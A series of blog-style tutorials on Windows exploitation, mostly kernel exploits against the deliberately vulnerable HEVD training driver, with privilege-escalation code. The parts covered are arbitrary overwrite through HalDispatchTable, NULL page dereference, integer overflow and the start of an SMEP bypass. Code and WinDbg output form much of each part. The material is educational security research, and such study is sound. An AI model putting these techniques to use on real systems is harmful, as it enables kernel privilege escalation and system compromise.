call <consolex64.strcpy>      ; Call strcpy function
add rsp,58                    ; Cleanup the stack
ret                           ; Return from function

Let’s modify the Copy function call to the following:

Copy("1111111122222222333333334444444455555555");

The string has 40 bytes, and it will fit in our buffer (however, please not that strcpy will also place a NULL byte after our string, but this way it is easier to see the buffer on the stack).

This is how the stack will look like after the strcpy function call:

000000000012FE90 000007FEEE7E5D98 ; Unused stack space
000000000012FE98 00000001400021C8 ; Unused stack space
000000000012FEA0 0000000000000000 ; Unused stack space
000000000012FEA8 00000001400021C8 ; Unused stack space
000000000012FEB0 3131313131313131 ; "11111111"
000000000012FEB8 3232323232323232 ; "22222222"
000000000012FEC0 3333333333333333 ; "33333333"
000000000012FEC8 3434343434343434 ; "44444444"
000000000012FED0 3535353535353535 ; "55555555"
000000000012FED8 0000000000000000 ; Unused stack space
000000000012FEE0 00000001400021A0 ; Unused stack space
000000000012FEE8 0000000140001030 ; Return address

As you can probably see, we need to add extra 24 bytes to overwrite the return address: 16 bytes the unused stack space and 8 bytes for the return address. Let’s modify the Copy function call to the following:

Copy("11111111222222223333333344444444555555556666666677777777AAAAAAAA");

This will overwrite the return address with “AAAAAAAA”.

NULL byte problem

In our case, a call to “strcpy” function will generate the vulnerability. What is important to understand, is that “strcpy” function will stop copying data when it will encounter first NULL byte. For us, this means that we cannot have NULL bytes in our payload.

This is a problem for a simple reason: the addresses that we might use contain NULL bytes. For example, these are the addresses in my case:

0000000140001000 | 48 89 4C 24 08 | mov qword ptr ss:[rsp+8],rcx 
0000000140001005 | 48 83 EC 58    | sub rsp,58 
0000000140001009 | 48 8B 54 24 60 | mov rdx,qword ptr ss:[rsp+60] 
000000014000100E | 48 8D 4C 24 20 | lea rcx,qword ptr ss:[rsp+20] 
0000000140001013 | E8 04 0B 00 00 | call <consolex64.strcpy>
0000000140001018 | 48 83 C4 58    | add rsp,58 
000000014000101C | C3             | ret

If we would like to proceed like in the 32 bits example, we would have to overwrite the return address to an address such as 000000014000101C where there would be a “JMP RSP” instruction, and continue with our shellcode after this address. As you can see, this is not possible, because the address contains NULL bytes.

So, what can we do? We should find a workaround. A simple and useful trick that we can do is the following: we can partially overwrite the return address. So, instead of overwriting the whole 8 bytes of the address, we can overwrite only the last 4, 5 or 6 bytes. Let’s modify the function call to overwrite only the last 5 bytes, so we will just remove 3 “A”s from our payload. The function call will be the following:

Copy("11111111222222223333333344444444555555556666666677777777AAAAA");

Before the “RET” instruction, the stack will look like this:

000000000012FED8 3636363636363636 ; Part of our payload
000000000012FEE0 3737373737373737 ; Part of our payload
000000000012FEE8 0000004141414141 ; Return address

As you can see, we are able to specify a valid address, so we solved our first issue. However, since we cannot add anything else after this, as we need NULL bytes to have a valid address, how can we exploit this vulnerability?

Let’s take a look at the registers, maybe we can find an easy win. Here are the registers before the RET instruction:

Win64 registers

We can see that in the RAX register we can find the address where our payload is stored. This happens for a simple reason: strcpy function will copy the string to the buffer and it will return the address of the buffer. As we already know, the returned data from a function call will be saved in RAX register, so we will have access to our payload using RAX register.

Now, our exploitation is simple:

  1. We have our payload address in RAX register
  2. We find a “JMP RAX” instruction
  3. We specify the address of that instruction as return address

We can easily find some “JMP RAX” instructions:

JMP RAX

We will take one of them, one that does not contain NULL bytes in the middle, and we can create the payload:

  1. 56 bytes of shellcode (required to reach the return address). We will use 0xCC (the INT 3 instruction, which is used to pause the execution of the program in the debugger)
  2. 4 bytes of return address, the “JMP RAX” instruction that we previously found

This is how the function call will look like:

 Copy("\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
      "\xF8\x0E\x7E\x77");

And we have control over the program.

However, please note that we have a small buffer and it might be difficult to find a good shellcode to fit in this space. However, the purpose of the article was to find some way to exploit this vulnerability in a way that can be easily understood.

Conclusion

Maybe this article did not cover a real-life situation, but it should be enough as a starting point in exploiting Stack Based Buffer Overflows on Windows 64 bits.

My recommendation is to compile yourself a program like this one and try to exploit it yourself. You can download my simple Visual Studio 2017 project from here.

If you have any questions, please leave a comment here and use the contact email.

[Kernel Exploitation] 7: Arbitrary Overwrite (Win7 x86)

24 January 2018 at 00:00

Exploit code can be found here.

Walkthroughs for Win 10 x64 in a future post.


1. The vulnerability

Link to code here.

NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
    PULONG_PTR What = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserWriteWhatWhere,
                     sizeof(WRITE_WHAT_WHERE),
                     (ULONG)__alignof(WRITE_WHAT_WHERE));

        What = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;

        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

#ifdef SECURE
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
        // routine before performing the write operation
        ProbeForRead((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));
        ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(PULONG_PTR));

        *(Where) = *(What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");

        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        *(Where) = *(What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

The vulnerability is obvious, TriggerArbitraryOverwrite allows overwriting a controlled value at a controlled address. This is very powerful, but can you come up with a way to exploit this without having another vulnerability?

Let’s consider some scenarios (that won’t work but are worth thinking about):

  1. Overwrite a return address:
    Needs an infoleak to reveal the stack layout or a read primitive.

  2. Overwriting the process token with a SYSTEM one:
    Need to know the EPROCESS address of the SYSTEM process.

  3. Overwrite a function pointer called with kernel privileges:
    Now that’s a good one, an excellent documentation on a reliable (11-years old!) technique is Exploiting Common Flaws in Drivers.


hal.dll, HalDispatchTable and function pointers

hal.dll stands for Hardware Abstraction Layer, basically an interface to interacting with hardware without worrying about hardware-specific details. This allows Windows to be portable.

HalDispatchTable is a table containing function pointers to HAL routines. Let’s examine it a bit with WinDBG.

kd> dd HalDispatchTable     // Display double words at HalDispatchTable
82970430  00000004 828348a2 828351b4 82afbad7
82970440  00000000 828455ba 829bc507 82afb3d8
82970450  82afb683 8291c959 8295d757 8295d757
82970460  828346ce 82834f30 82811178 82833dce
82970470  82afbaff 8291c98b 8291caa1 828350f6
82970480  8291caa1 8281398c 8281b4f0 82892c8c
82970490  82af8d7f 00000000 82892c9c 829b3c1c
829704a0  00000000 82892cac 82af8f77 00000000

kd> ln 828348a2 
Browse module
Set bu breakpoint

(828348a2)   hal!HaliQuerySystemInformation   |  (82834ad0)   hal!HalpAcpiTimerInit
Exact matches:
    hal!HaliQuerySystemInformation (<no parameter info>)

kd> ln 828351b4
Browse module
Set bu breakpoint

(828351b4)   hal!HalpSetSystemInformation   |  (82835234)   hal!HalpDpReplaceEnd
Exact matches:
    hal!HalpSetSystemInformation (<no parameter info>)

First entry at HalDispatchTable doesn’t seem to be populated but HalDispatchTable+4 points to HaliQuerySystemInformation and HalDispatchTable+8 points to HalpSetSystemInformation.

These locations are writable and we can calculate their exact location easily (more on that later). HaliQuerySystemInformation is the lesser used one of the two, so we can put the address of our shellcode at HalDispatchTable+4 and make a user-mode call that will end up calling this function.

HaliQuerySystemInformation is called by the undocumented NtQueryIntervalProfile (which according to the linked article is a “very low demanded API”), let’s take a look with WinDBG:

kd> uf NtQueryIntervalProfile

...snip...

nt!NtQueryIntervalProfile+0x6b:
82b55ec2 call    nt!KeQueryIntervalProfile (82b12c97)

...snip...

kd> uf nt!KeQueryIntervalProfile

...snip...

nt!KeQueryIntervalProfile+0x14:
82b12cab mov     dword ptr [ebp-10h],eax
82b12cae lea     eax,[ebp-4]
82b12cb1 push    eax
82b12cb2 lea     eax,[ebp-10h]
82b12cb5 push    eax
82b12cb6 push    0Ch
82b12cb8 push    1
82b12cba call    dword ptr [nt!HalDispatchTable+0x4 (82970434)]
82b12cc0 test    eax,eax
82b12cc2 jl      nt!KeQueryIntervalProfile+0x38 (82b12ccf)  Branch

...snip...

Function at [nt!HalDispatchTable+0x4] gets called at nt!KeQueryIntervalProfile+0x23 which we can trigger from user-mode. Hopefully, we won’t run into any trouble overwriting that entry.


The exploit will do the following:

  1. Get HalDispatchTable location in the kernel.
  2. Overwrite HalDispatchTable+4 with the address of our payload.
  3. Calculate the address of NtQueryIntervalProfile and call it.

2. Getting the address of HalDispatchTable

HalDispatchTable exists in the kernel executive (ntoskrnl or another instance depending on the OS/processor). To get its address we need to:

  1. Get kernel’s base address in kernel using NtQuerySystemInformation.
  2. Load kernel in usermode and get the offset to HalDispatchTable.
  3. Add the offset to kernel’s base address.
SYSTEM_MODULE krnlInfo = *getNtoskrnlInfo();
// Get kernel base address in kernelspace
ULONG addr_ntoskrnl = (ULONG)krnlInfo.ImageBaseAddress;
printf("[+] Found address to ntoskrnl.exe at 0x%x.\n", addr_ntoskrnl);

// Load kernel in use in userspace to get the offset to HalDispatchTable
// NOTE: DO NOT HARDCODE KERNEL MODULE NAME
printf("[+] Kernel in use: %s.\n", krnlInfo.Name);
char* krnl_name = strrchr((char*)krnlInfo.Name, '\\') + 1;
HMODULE user_ntoskrnl = LoadLibraryEx(krnl_name, NULL,DONT_RESOLVE_DLL_REFERENCES);
if(user_ntoskrnl == NULL)
{
	printf("[-] Failed to load kernel image.\n");
	exit(-1);
}

printf("[+] Loaded kernel in usermode using LoadLibraryEx: 0x%x.\n",user_ntoskrnl);
ULONG user_HalDispatchTable = (ULONG)GetProcAddress(user_ntoskrnl,"HalDispatchTable");
if(user_HalDispatchTable == NULL)
{
	printf("[-] Failed to locate HalDispatchTable.\n");
	exit(-1);
}

printf("[+] Found HalDispatchTable in usermode: 0x%x.\n",user_HalDispatchTable);

// Calculate address of HalDispatchTable in kernelspace
ULONG addr_HalDispatchTable = addr_ntoskrnl - (ULONG)user_ntoskrnl +user_HalDispatchTable;
printf("[+] Found address to HalDispatchTable at 0x%x.\n",addr_HalDispatchTable);

3. Overwriting HalDispatchTable+4

To do this, we just need to submit a buffer that gets cast to WRITE_WHAT_WHERE. Basically two pointers, one for What and another for Where.

typedef struct _WRITE_WHAT_WHERE {
        PULONG_PTR What;
        PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

Notice that these are pointers.

ULONG What = (ULONG)&StealToken;
*uBuffer = (ULONG)&What;
*(uBuffer + 1) = (addr_HalDispatchTable + 4);

DWORD bytesRet;
DeviceIoControl(
		driver,
		HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
		uBuffer,
		SIZE,
		NULL,
		0,
		&bytesRet,
		NULL);

Now let’s test what we have. Put breakpoint right before the exploit gets triggered.

kd> bu HEVD!TriggerArbitraryOverwrite  0x61

kd> g
[+] UserWriteWhatWhere: 0x000E0000
[+] WRITE_WHAT_WHERE Size: 0x8
[+] UserWriteWhatWhere->What: 0x0025FF38
[+] UserWriteWhatWhere->Where: 0x82966434
[+] Triggering Arbitrary Overwrite
Breakpoint 2 hit
HEVD!TriggerArbitraryOverwrite+0x61:
93d71b69 mov     eax,dword ptr [edi]

Next’ let’s validate the data.

kd> dd 0x0025FF38
0025ff38  00f012d8 bae57df8 0025ff88 00f014d9
0025ff48  00000001 002a06a8 0029e288 bae57d30
0025ff58  00000000 00000000 7ffdc000 2c407500
0025ff68  00000001 00769cbf 0025ff54 96a5085a
0025ff78  0025ffc4 00f01c7b ba30aa60 00000000
0025ff88  0025ff94 75ebee1c 7ffdc000 0025ffd4
0025ff98  77b23ab3 7ffdc000 779af1ec 00000000
0025ffa8  00000000 7ffdc000 00000000 00000000
kd> ln 00f012d8 
Browse module
Set bu breakpoint

 [C:\Users\abatchy\source\repos\HEVD\HEVD\shell32.asm @ 6] (00f012d8)   HEVD_f00000!StealToken   |  (00f01312)   HEVD_f00000!__security_check_cookie
Exact matches:
    HEVD_f00000!StealToken (void)

Ok good, we passed a pointer to the payload as expected. Let’s verify the “where” part.

kd> ln 0x82966434
Browse module
Set bu breakpoint

(82966430)   nt!HalDispatchTable+0x4   |  (8296648c)   nt!BuiltinCallbackReg

Where points to nt!HalDispatchTable+0x4 as expected, cool.

kd> p
HEVD!TriggerArbitraryOverwrite+0x63:
93d71b6b mov     dword ptr [ebx],eax
kd> p
HEVD!TriggerArbitraryOverwrite+0x65:
93d71b6d jmp     HEVD!TriggerArbitraryOverwrite+0x8b (93d71b93)
kd> dd HalDispatchTable
0052c430  00000004 006b7aaf 006b7ac3 006b7ad7
0052c440  00000000 004015ba 00578507 006b73d8
0052c450  006b7683 004d8959 00519757 00519757
0052c460  004d8966 004d8977 00000000 006b8de7
0052c470  006b7aff 004d898b 004d8aa1 006b7b11
0052c480  004d8aa1 00000000 00000000 0044ec8c
0052c490  006b4d7f 00000000 0044ec9c 0056fc1c
0052c4a0  00000000 0044ecac 006b4f77 00000000

4. Triggering the payload

Like explained earlier, we need to call NtQueryIntervalProfile which address can be resolved from ntdll.dll.

// Trigger the payload by calling NtQueryIntervalProfile()
HMODULE ntdll = GetModuleHandle("ntdll");
PtrNtQueryIntervalProfile _NtQueryIntervalProfile =(PtrNtQueryIntervalProfile)GetProcAddress(ntdll,"NtQueryIntervalProfile");
if (_NtQueryIntervalProfile == NULL)
{
	printf("[-] Failed to get address of NtQueryIntervalProfile.\n");
	exit(-1);
}
ULONG whatever;
_NtQueryIntervalProfile(2, &whatever);

snip


Full code to exploit here.

- Abatchy

[Kernel Exploitation] 6: NULL pointer dereference

17 January 2018 at 00:00

Exploit code can be found here.


0. Kernel-mode heaps (aka pools)

Heaps are dynamically allocated memory regions, unlike the stack which is statically allocated and is of a defined size.

Heaps allocated for kernel-mode components are called pools and are divided into two main types:

  1. Non-paged pool: These are guaranteed to reside in the RAM at all time, and are mostly used to store data that may get accessed in case of a hardware interrupt (at that point, the system can’t handle page faults). Allocating such memory can be done through the driver routine ExAllocatePoolWithTag.

  2. Paged pool: This memory allocation can be paged in and out the paging file, normally on the root installation of Windows (Ex: C:\pagefile.sys).

Allocating such memory can be done through the driver routine ExAllocatePoolWithTag and specifying the poolType and a 4 byte “tag”.

To monitor pool allocations you can use poolmon.

If you want to know more about this topic, I strongly recommend reading “Pushing the Limits of Windows: Paged and Nonpaged Pool” post and (the entire series too!).


1. The vulnerability

Link to code here.

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(NULL_POINTER_DEREFERENCE),
                     (ULONG)__alignof(NULL_POINTER_DEREFERENCE));

        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                  ExAllocatePoolWithTag(NonPagedPool,
                                                        sizeof(NULL_POINTER_DEREFERENCE),
                                                        (ULONG)POOL_TAG);

        if (!NullPointerDereference) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

        // Validate the magic value
        if (UserValue == MagicValue) {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

            // Set to NULL to avoid dangling pointer
            NullPointerDereference = NULL;
        }

#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Non-paged pool memory is allocated of size NULL_POINTER_DEREFERENCE with 4-bytes tag of value kcaH. NULL_POINTER_DEREFERENCEstruct contains two fields:

    typedef struct _NULL_POINTER_DEREFERENCE {
        ULONG Value;
        FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

The size of this struct is 8 bytes on x86 and contains a function pointer. If the user-supplied buffer contains MagicValue, the function pointer NullPointerDereference->Callback will point to NullPointerDereferenceObjectCallback. But what happens if we don’t submit that value?

In that case, the pool memory gets freed and NullPointerDereference is set to NULL to avoid a dangling pointer. But this is only as good as validation goes, so everytime you use that pointer you need to check if it’s NULL, just setting it to NULL and not performing proper validation could be disastrous, like in this example. In our case, the Callback is called without validating if this inside a valid struct, and it ends up reading from the NULL page (first 64K bytes) which resides in usermode.

In this case, NullPointerDereference is just a struct at 0x00000000 and NullPointerDereference->Callback() calls whatever is at address 0x00000004. How are we going to exploit this?

The exploit will do the following:

  1. Allocate the NULL page.
  2. Put the address of the payload at 0x4.
  3. Trigger the NULL page dereferencing through the driver IOCTL.

Brief history on mitigation effort for NULL page dereference vulnerabilities

Before we continue, let’s discuss the efforts done in Windows to prevent attacks on NULL pointer dereference vulnerabilities.

  • EMET (Enhanced Mitigation Experience Toolkit), a security tool packed with exploit mitigations offered protection against NULL page dereference attacks by simply allocating the NULL page and marking it as “NOACCESS”. EMET is now deprecated and some parts of it are integrated into Windows 10, called Exploit Protection.

  • Starting Windows 8, allocating the first 64K bytes is prohibited. The only exception is by enabling NTVDM but this has been disabled by default.

Bottom line: vulnerability is not exploitable on our Windows 10 VM. If you really want to exploit it, enable NTVDM, then you’ll have to bypass SMEP (part 4 discussed this).

Recommended reads:


2. Allocating the NULL page

Before we talk with the driver, we need to allocate our NULL page and put the address of the payload at 0x4. Allocating the NULL page through VirtualAllocEx is not possible, instead, we can resolve the address of NtAllocateVirtualMemory in ntdll.dll and pass a small non-zero base address which gets rounded down to NULL.

To resolve the address of the function, we’ll use GetModuleHandle to get the address of ntdll.dll then GetProcAddress to get the process address.

typedef NTSTATUS(WINAPI *ptrNtAllocateVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID *BaseAddress,
	ULONG ZeroBits,
	PULONG AllocationSize,
	ULONG AllocationType,
	ULONG Protect
	);

	ptrNtAllocateVirtualMemory NtAllocateVirtualMemory = (ptrNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
	if (NtAllocateVirtualMemory == NULL)
	{
		printf("[-] Failed to export NtAllocateVirtualMemory.");
		exit(-1);
	}

Next we need to allocate the NULL page:

	// Copied and modified from http://www.rohitab.com/discuss/topic/34884-c-small-hax-to-avoid-crashing-ur-prog/
LPVOID baseAddress = (LPVOID)0x1;
ULONG allocSize = 0x1000;
char* uBuffer = (char*)NtAllocateVirtualMemory(
	GetCurrentProcess(),
	&baseAddress,						// Putting a small non-zero value gets rounded down to page granularity, pointing to the NULL page
	0,
	&allocSize,
	MEM_COMMIT | MEM_RESERVE,
	PAGE_EXECUTE_READWRITE);

To verify if that’s working, put a DebugBreak and check the memory content after writing some dummy value.

DebugBreak();
*(INT_PTR*)uBuffer = 0xaabbccdd;
kd> t
KERNELBASE!DebugBreak+0x3:
001b:7531492f ret

kd> ? @esi
Evaluate expression: 0 = 00000000

kd> t
HEVD!main+0x1a4:
001b:002e11e4 mov     dword ptr [esi],0AABBCCDDh

kd> t
HEVD!main+0x1aa:
001b:002e11ea movsx   ecx,byte ptr [esi]

kd> dd 0
00000000  aabbccdd 00000000 00000000 00000000
00000010  00000000 00000000 00000000 00000000
00000020  00000000 00000000 00000000 00000000
00000030  00000000 00000000 00000000 00000000
00000040  00000000 00000000 00000000 00000000
00000050  00000000 00000000 00000000 00000000
00000060  00000000 00000000 00000000 00000000
00000070  00000000 00000000 00000000 00000000

A nice way to verify the NULL page is allocated, is by calling VirtualProtect which queries/sets the protection flags on memory segments. VirtualProtect returning false means the NULL page was not allocated.


3. Controlling execution flow

Now we want to put our payload address at 0x00000004:

*(INT_PTR*)(uBuffer + 4) = (INT_PTR)&StealToken;

Now create a dummy buffer to send to the driver and put a breakpoint at HEVD!TriggerNullPointerDereference + 0x114.

kd> dd 0
00000000  00000000 0107129c 00000000 00000000
00000010  00000000 00000000 00000000 00000000
00000020  00000000 00000000 00000000 00000000
00000030  00000000 00000000 00000000 00000000
00000040  00000000 00000000 00000000 00000000
00000050  00000000 00000000 00000000 00000000
00000060  00000000 00000000 00000000 00000000
00000070  00000000 00000000 00000000 00000000

Finally, after executing the token stealing payload, a ret with no stack adjusting will do.

Exploit_screenshot

4. Porting to Windows 7 x64

To port the exploit, you only need to adjust the offset at which you write the payload address as the struct size becomes 16 bytes. Also don’t forget to swap out the payload.

*(INT_PTR*)(uBuffer + 8) = (INT_PTR)&StealToken;

- Abatchy

[Kernel Exploitation] 5: Integer Overflow

13 January 2018 at 00:00

This part shows how to exploit a vanilla integer overflow vulnerability. Post builds up on lots of contents from part 3 & 4 so this is a pretty short one.

Exploit code can be found here.


1. The vulnerability

Link to code here.

NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    ULONG Count = 0;
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG BufferTerminator = 0xBAD0B0B0;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};
    SIZE_T TerminatorSize = sizeof(BufferTerminator);

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        // Secure Note: This is secure because the developer is not doing any arithmetic
        // on the user supplied value. Instead, the developer is subtracting the size of
        // ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
        // not occur and this check will not fail
        if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#else
        DbgPrint("[+] Triggering Integer Overflow\n");

        // Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
        // 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
        // integer will wrap down and will finally cause this check to fail
        if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#endif

        // Perform the copy operation
        while (Count < (Size / sizeof(ULONG))) {
            if (*(PULONG)UserBuffer != BufferTerminator) {
                KernelBuffer[Count] = *(PULONG)UserBuffer;
                UserBuffer = (PULONG)UserBuffer + 1;
                Count++;
            }
            else {
                break;
            }
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Like the comment says, this is a vanilla integer overflow vuln caused by the programmer not considering a very large buffer size being passed to the driver. Any size from 0xfffffffc to ``0xffffffff` will cause this check to be bypassed. Notice that the copy operation terminates if the terminator value is encountered (has to be 4-bytes aligned though), so we don’t need to submit a buffer length of size equal to the one we pass.

Exploitability on 64-bit

The InBufferSize parameter passed to DeviceIoControl is a DWORD, meaning it’s always of size 4 bytes. In the 64-bit driver, the following code does the comparison:

At HEVD!TriggerIntegerOverflow+97:

fffff800`bb1c5ac7 lea     r11,[r12+4]
fffff800`bb1c5acc cmp     r11,r13

Comparison is done with 64-bit registers (no prefix/suffix was used to cast them to their 32-bit representation). This way, r11 will never overflow as it’ll be just set to 0x100000003, meaning that this vulnerability is not exploitable on 64-bit machines.

Update: I didn’t realize it at first, but the reason those values are treated fine in x64 arch is that all of them are of size_t.


2. Controlling execution flow

First, we need to figure out the offset for EIP. Sending a small buffer and calculating the offset between the kernel buffer address and the return address will do:

kd> g
[+] UserBuffer: 0x00060000
[+] UserBuffer Size: 0xFFFFFFFF
[+] KernelBuffer: 0x8ACF8274
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 3 hit
HEVD!TriggerIntegerOverflow+0x84:
93f8ca58 add     esp,24h

kd> ? 0x8ACF8274 - @esp
Evaluate expression: 16 = 00000010
kd> ? (@ebp + 4) - 0x8ACF8274
Evaluate expression: 2088 = 828

Notice that you need to have the terminator value 4-bytes aligned as otherwise it will use the submitted Size parameter which will ultimately result in reading beyond the buffer and possibly causing an access violation.

Now we know that RET is at offset 2088. The terminator value should be at 2088 + 4.

char* uBuffer = (char*)VirtualAlloc(
	NULL,
	2088 + 4 + 4,               // EIP offset + 4 bytes for EIP + 4 bytes for terminator
	MEM_COMMIT | MEM_RESERVE,
	PAGE_EXECUTE_READWRITE);

// Constructing buffer
RtlFillMemory(uBuffer, SIZE, 'A');

// Overwriting EIP
DWORD* payload_address = (DWORD*)(uBuffer + SIZE - 8);
*payload_address = (DWORD)&StealToken;

// Copying terminator value
RtlCopyMemory(uBuffer + SIZE - 4, terminator, 4);

That’s pretty much it! At the end of the payload (StealToken) you need to make up for the missing stack frame by calling the remaining instructions (explained in detail in part 3).

pop ebp								; Restore saved EBP
ret 8								; Return cleanly

shell

Full exploit can be found here.

3. Mitigating the vulnerability

  1. Handle all code paths that deal with arithmetics with extreme care (especially when they’re user-supplied). Check operants/result for overflow/underflow condition.

  2. Use an integer type that will be able to hold all possible outputs of the addition, although this might not be always possible.

SafeInt is worth checking out too.

4. Recap

  1. Vulnerability was not exploitable on 64-bit systems due to the way the comparison takes place between two 64-bit registers and the maximum value passed to DeviceIoControl will never overflow.

  2. Submitted buffer had to contain a 4-byte terminator value. This is the simplest form of crafting a payload that needs to meet certain criteria.

  3. Although our buffer wasn’t of extreme size, “lying” about its length to the driver was possible.


- Abatchy

[Kernel Exploitation] 4: Stack Buffer Overflow (SMEP Bypass)

11 January 2018 at 00:00

Part 3 showed how exploitation is done for the stack buffer overflow vulnerability on a Windows 7 x86/x64 machine. This part will target Windows 10 x64, which has SMEP enabled by default on it.

Exploit code can be found here.

Windows build: 16299.15.amd64fre.rs3_release.170928-1534

ntoskrnl’s version: 10.0.16288.192


Instead of mouthfeeding you the problem, let’s run the x64 exploit on the Windows 10 machine and see what happens.

kd> bu HEVD!TriggerStackOverflow + 0xc8

kd> g
Breakpoint 1 hit
HEVD!TriggerStackOverflow+0xc8:
fffff801`7c4d5708 ret

kd> k
 # Child-SP          RetAddr           Call Site
00 ffffa308`83dfe798 00007ff6`8eff11d0 HEVD!TriggerStackOverflow+0xc8 [c:\hacksysextremevulnerabledriver\driver\stackoverflow.c @ 101] 
01 ffffa308`83dfe7a0 ffffd50f`91a47110 0x00007ff6`8eff11d0
02 ffffa308`83dfe7a8 00000000`00000000 0xffffd50f`91a47110

Examining the instructions at 00007ff68eff11d0 verifies that it’s our payload. What would go wrong?

kd> t
00007ff6`8eff11d0 xor     rax,rax
kd> t
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x000000fc
                       (0x00007FF68EFF11D0,0x0000000037ADB025,0xFFFFA30883DFE610,0x0000000080000005)


A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

